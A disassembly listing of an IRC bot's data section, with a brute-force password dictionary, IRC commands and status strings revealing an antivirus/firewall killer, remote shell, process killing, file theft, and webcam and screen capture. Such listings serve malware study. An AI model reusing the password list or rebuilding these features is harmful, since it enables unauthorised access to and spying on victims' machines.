dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 10h
dword_4294D0 dd 10h ; DATA XREF: sub_401ACD+AFCr
; sub_401ACD+B28r ...
aIntranet db 'intranet',0 ; DATA XREF: ___:004294BCo
align 10h
aLan db 'lan',0 ; DATA XREF: ___:004294B4o
aMain db 'main',0 ; DATA XREF: ___:004294B0o
align 4
aWinpass db 'winpass',0 ; DATA XREF: ___:004294ACo
aBlank db 'blank',0 ; DATA XREF: ___:004294A8o
align 4
aOffice db 'office',0 ; DATA XREF: ___:004294A4o
align 4
aControl db 'control',0 ; DATA XREF: ___:004294A0o
aXp db 'xp',0 ; DATA XREF: ___:0042949Co
align 10h
aNokia db 'nokia',0 ; DATA XREF: ___:00429498o
align 4
aHp db 'hp',0 ; DATA XREF: ___:00429494o
align 4
aSiemens db 'siemens',0 ; DATA XREF: ___:00429490o
aCompaq db 'compaq',0 ; DATA XREF: ___:0042948Co
align 4
aDell db 'dell',0 ; DATA XREF: ___:00429488o
align 4
aCisco db 'cisco',0 ; DATA XREF: ___:00429484o
align 4
aIbm db 'ibm',0 ; DATA XREF: ___:00429480o
aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429478o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
align 10h
aSql db 'sql',0 ; DATA XREF: ___:00429470o
aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFDo
; ___:0042946Co
align 4
aDb1234 db 'db1234',0 ; DATA XREF: ___:00429468o
align 10h
aDb1 db 'db1',0 ; DATA XREF: ___:00429460o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:0042945Co
align 4
aData db 'data',0 ; DATA XREF: ___:00429458o
align 10h
aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429454o
align 10h
aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429450o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: ___:0042944Co
align 4
aAccess db 'access',0 ; DATA XREF: ___:00429448o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429440o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: ___:0042943Co
align 4
aDomain db 'domain',0 ; DATA XREF: ___:00429438o
align 10h
aHello db 'hello',0 ; DATA XREF: ___:00429434o
align 4
aHell db 'hell',0 ; DATA XREF: ___:00429430o
align 10h
aGod db 'god',0 ; DATA XREF: ___:0042942Co
aSex db 'sex',0 ; DATA XREF: ___:00429428o
; ___:off_4385E8o
aSlut db 'slut',0 ; DATA XREF: ___:00429424o
align 10h
aBitch db 'bitch',0 ; DATA XREF: ___:00429420o
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:0042941Co
align 10h
aExchange db 'exchange',0 ; DATA XREF: ___:00429418o
align 4
aBackup db 'backup',0 ; DATA XREF: ___:00429414o
align 4
aTechnical db 'technical',0 ; DATA XREF: ___:00429410o
align 10h
aLoginpass db 'loginpass',0 ; DATA XREF: ___:0042940Co
align 4
aLogin db 'login',0 ; DATA XREF: sub_401ACD+AA3o
; ___:00429408o
align 4
aMary db 'mary',0 ; DATA XREF: ___:00429404o
align 4
aKatie db 'katie',0 ; DATA XREF: ___:00429400o
align 4
aKate db 'kate',0 ; DATA XREF: ___:004293F8o
align 4
aGeorge db 'george',0 ; DATA XREF: ___:004293F4o
align 4
aEric db 'eric',0 ; DATA XREF: ___:004293F0o
align 4
aChris db 'chris',0 ; DATA XREF: ___:004293ECo
align 4
aIan db 'ian',0 ; DATA XREF: ___:004293E8o
aNeil db 'neil',0 ; DATA XREF: ___:004293E4o
align 10h
aLee db 'lee',0 ; DATA XREF: ___:004293E0o
aBrian db 'brian',0 ; DATA XREF: ___:004293DCo
align 4
aSusan db 'susan',0 ; DATA XREF: ___:004293D4o
align 4
aSue db 'sue',0 ; DATA XREF: ___:004293D0o
aSam db 'sam',0 ; DATA XREF: ___:004293CCo
aLuke db 'luke',0 ; DATA XREF: ___:004293C8o
align 4
aPeter db 'peter',0 ; DATA XREF: ___:004293C4o
; ___:004293D8o
align 4
aJohn db 'john',0 ; DATA XREF: ___:004293C0o
align 4
aMike db 'mike',0 ; DATA XREF: ___:004293BCo
align 4
aBill db 'bill',0 ; DATA XREF: ___:004293B8o
align 4
aFred db 'fred',0 ; DATA XREF: ___:004293B4o
align 4
aJoe db 'joe',0 ; DATA XREF: ___:004293B0o
aJen db 'jen',0 ; DATA XREF: ___:004293ACo
aBob db 'bob',0 ; DATA XREF: ___:004293A8o
; ___:004293FCo
aQwe db 'qwe',0 ; DATA XREF: ___:004293A4o
aZxc db 'zxc',0 ; DATA XREF: ___:004293A0o
aAsd db 'asd',0 ; DATA XREF: ___:0042939Co
aQaz db 'qaz',0 ; DATA XREF: ___:00429398o
aWin2000 db 'win2000',0 ; DATA XREF: ___:00429394o
aWinnt db 'winnt',0 ; DATA XREF: ___:00429390o
align 4
aWinxp db 'winxp',0 ; DATA XREF: ___:0042938Co
align 10h
aWin2k db 'win2k',0 ; DATA XREF: ___:00429388o
align 4
aWin98 db 'win98',0 ; DATA XREF: ___:00429384o
align 10h
aWindows db 'windows',0 ; DATA XREF: ___:00429380o
aOeminstall db 'oeminstall',0 ; DATA XREF: ___:0042937Co
align 4
aOemuser db 'oemuser',0 ; DATA XREF: ___:00429378o
aOem db 'oem',0 ; DATA XREF: ___:00429374o
aUser db 'user',0 ; DATA XREF: sub_401ACD+46D4o
; ___:00429370o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: ___:0042936Co
align 4
aHome db 'home',0 ; DATA XREF: ___:00429368o
align 4
aAccounting db 'accounting',0 ; DATA XREF: ___:00429364o
align 4
aAccounts db 'accounts',0 ; DATA XREF: ___:00429360o
align 4
aInternet db 'internet',0 ; DATA XREF: ___:0042935Co
; ___:004294B8o
align 10h
aWww db 'www',0 ; DATA XREF: ___:00429358o
aWeb db 'web',0 ; DATA XREF: ___:00429354o
aOutlook db 'outlook',0 ; DATA XREF: ___:00429350o
aMail db 'mail',0 ; DATA XREF: ___:0042934Co
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ___:00429348o
align 10h
aNull_1 db 'null',0 ; DATA XREF: ___:00429344o
align 4
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E90o
; ___:0042933Co
align 10h
aSystem db 'system',0 ; DATA XREF: ___:00429338o
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:00429330o
align 4
aLinux db 'linux',0 ; DATA XREF: ___:0042932Co
align 4
aUnix db 'unix',0 ; DATA XREF: ___:00429328o
align 4
aDemo db 'demo',0 ; DATA XREF: ___:00429324o
align 4
aNone db 'none',0 ; DATA XREF: ___:00429320o
align 4
aTest db 'test',0 ; DATA XREF: ___:00429318o
align 4
a2004 db '2004',0 ; DATA XREF: ___:00429314o
align 4
a2003 db '2003',0 ; DATA XREF: sub_41AA43+BAo
; ___:00429310o
align 4
a2002 db '2002',0 ; DATA XREF: ___:0042930Co
align 4
a2001 db '2001',0 ; DATA XREF: ___:00429308o
align 4
a2000 db '2000',0 ; DATA XREF: ___:00429304o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: ___:00429300o
align 10h
a123456789 db '123456789',0 ; DATA XREF: ___:004292FCo
align 4
a12345678 db '12345678',0 ; DATA XREF: ___:004292F8o
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:004292F4o
a123456 db '123456',0 ; DATA XREF: ___:004292F0o
align 4
a12345 db '12345',0 ; DATA XREF: ___:004292ECo
align 10h
a1234 db '1234',0 ; DATA XREF: ___:004292E8o
align 4
a123 db '123',0 ; DATA XREF: ___:004292E4o
a12 db '12',0 ; DATA XREF: ___:004292E0o
align 10h
a1: ; DATA XREF: ___:004292DCo
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: ___:004292D8o
aPwd db 'pwd',0 ; DATA XREF: ___:004292D4o
aPass db 'pass',0 ; DATA XREF: ___:004292D0o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292CCo
align 10h
aPasswd db 'passwd',0 ; DATA XREF: ___:004292C8o
align 4
aPassword db 'password',0 ; DATA XREF: ___:004292C4o
align 4
aPassword1 db 'password1',0 ; DATA XREF: ___:004292C0o
align 10h
aAdm db 'adm',0 ; DATA XREF: ___:004292BCo
aDb2 db 'db2',0 ; DATA XREF: ___:00429464o
aOracle db 'oracle',0 ; DATA XREF: ___:0042947Co
align 10h
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: ___:00429444o
align 10h
aDefault db 'default',0 ; DATA XREF: ___:00429334o
aGuest_0 db 'guest',0 ; DATA XREF: ___:0042931Co
align 10h
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: ___:004294C4o
aStudent db 'student',0 ; DATA XREF: ___:004294C0o
aOwner db 'owner',0
align 4
aComputer db 'computer',0
align 10h
aRoot db 'root',0 ; DATA XREF: ___:00429340o
align 4
aStaff db 'staff',0 ; DATA XREF: ___:004294C8o
align 10h
aAdmin db 'admin',0 ; DATA XREF: ___:004292B8o
align 4
aAdmins db 'admins',0 ; DATA XREF: ___:004292B4o
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B0o
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292ACo
align 4
aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A8o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A4o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o
dword_4299D8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429A0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A38 db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A78 db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429A9C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_429AB8 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC4 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
; sub_415A30+7Eo
dword_429ACC dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_40F6B4+EAo ...
unk_429AD4 db 2Dh ; - ; DATA XREF: sub_4017ED+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
align 4
unk_429B3C db 2Dh ; - ; DATA XREF: sub_401ACD+7F0Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_429B5C db 2Dh ; - ; DATA XREF: sub_401ACD+7EEDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_429B7C db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E63o
align 10h
unk_429BD0 db 2Dh ; - ; DATA XREF: sub_401ACD+7E25o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E13o
; sub_401ACD+7E7Ao
align 4
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7DFCo
align 10h
asc_429C50: ; DATA XREF: sub_401ACD+7DCCo
unicode 0, <~>,0
unk_429C54 db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
unk_429C78 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 10h
unk_429CA0 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7CA2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CE8 db 2Dh ; - ; DATA XREF: sub_401ACD+7C82o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_429D0C db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 10h
dword_429D30 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401ACD+7C3Bo
dd 2E732520h, 0
unk_429D4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409685o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_429D78 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB1o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D9C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FDo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7B26o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Co
unk_429DF0 db 2Dh ; - ; DATA XREF: sub_401ACD+79FFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429E18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B3o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E3C db 2Dh ; - ; DATA XREF: sub_401ACD+79DCo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_429E5C db 2Dh ; - ; DATA XREF: sub_401ACD+79B8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409468o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD+796Do
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429ECC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD+7926o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429F1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409399o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F4C db 2Dh ; - ; DATA XREF: sub_401ACD+78C5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
dword_429F70 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+7885o
dd 27732527h, 2Eh
unk_429F8C db 2Dh ; - ; DATA XREF: sub_401ACD+7803o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429FB0 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+7786o
dd 0
unk_429FC8 db 2Dh ; - ; DATA XREF: sub_401ACD+7755o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_42A008 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+76E6o
dd 2Eh
dword_42A020 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_409140o
dd 746E6573h, 2Eh
unk_42A03C db 2Dh ; - ; DATA XREF: sub_401ACD+766Co
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42A05C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+7630o
dd 732520h
unk_42A074 db 2Dh ; - ; DATA XREF: sub_401ACD+7611o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
asc_42A0A0: ; DATA XREF: sub_401ACD+75F9o
; sub_40F6B4+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+75CFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
unk_42A0C8 db 2Dh ; - ; DATA XREF: sub_401ACD+75C2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_42A0EC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 4
unk_42A12C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409015o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_42A16C db 2Dh ; - ; DATA XREF: sub_401ACD+753Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 4
aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F87o
align 10h
unk_42A1A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F74o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 4
unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Do
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
unk_42A20C db 2Dh ; - ; DATA XREF: sub_401ACD+7490o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE6o
align 10h
unk_42A240 db 2Dh ; - ; DATA XREF: sub_401ACD+740Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
unk_42A268 db 2Dh ; - ; DATA XREF: sub_401ACD+73D9o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 10h
aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E59o
unk_42A298 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E46o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_42A2D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_42A304 db 2Dh ; - ; DATA XREF: sub_401ACD+7362o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFEo
align 4
dword_42A338 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401ACD+7319o
dd 2E732520h, 0
unk_42A354 db 2Dh ; - ; DATA XREF: sub_401ACD+72D3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_42A384 db 2Dh ; - ; DATA XREF: sub_401ACD+72B7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_42A3AC db 2Dh ; - ; DATA XREF: sub_401ACD+720Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
unk_42A3CC db 2Dh ; - ; DATA XREF: sub_401ACD+71D6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_42A3EC db 2Dh ; - ; DATA XREF: sub_401ACD+7181o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_42A408 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401ACD+710Fo
dword_42A41C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o
; sub_401ACD+7C48o
unk_42A428 db 2Dh ; - ; DATA XREF: sub_401ACD+70B0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Fo
align 10h
dword_42A450 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
